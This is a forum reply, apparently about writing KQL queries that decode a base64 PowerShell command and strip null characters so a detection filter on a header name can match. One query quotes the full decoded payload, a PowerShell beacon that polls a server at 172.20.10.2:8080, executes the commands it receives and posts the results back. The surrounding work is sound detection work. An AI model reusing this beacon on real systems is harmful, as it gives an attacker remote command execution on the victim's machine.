Hi @Liam Jones
I believe there must be an issue with the string at the point it is encoded or before. When running the query below, I can see that the encoded strings are different
let EncodedString = "JABzAD0..."; // Removed for Brevity
let UnencodedString = "$s='172.20.10.2:8080';$i='68079a0b-3690321d-1668dc61';$p='http://';$v=Invoke-WebRequest -UseBasicParsing -Uri $p$s/68079a0b -Headers @{\"X-92d9-ab61\"=$i};while ($true){$c=(Invoke-WebRequest -UseBasicParsing -Uri $p$s/3690321d -Headers @{\"X-92d9-ab61\"=$i}).Content;if ($c -ne 'None') {$r=iex $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$t=Invoke-WebRequest -Uri $p$s/1668dc61 -Method POST -Headers @{\"X-92d9-ab61\"=$i} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}";
print Unencoded = base64_encode_tostring(UnencodedString)
| extend Encoded = EncodedString
When running this query, I can see that there is a null unicode character between each visable character in the outputted string
let EncodedString = "JABzAD0..."; // Removed for Brevity
let DecodedString = tostring(base64_decode_tostring(EncodedString));
print r = range(0,strlen(DecodedString),1)
| mv-expand r to typeof(long)
| extend c = substring(DecodedString,r,1)
| extend d = to_utf8(c)
I cannot explain the null characters, but we can strip them out then run your where statement on it
let EncodedString = "JABzAD0..."; // Removed for Brevity
print DecodedString = tostring(base64_decode_tostring(EncodedString))
| extend DecodedString = replace_string(DecodedString, make_string(0),"")
| extend l = strlen(DecodedString)
| where DecodedString contains "X-92d9-ab61"
Hope this all helps
Alistair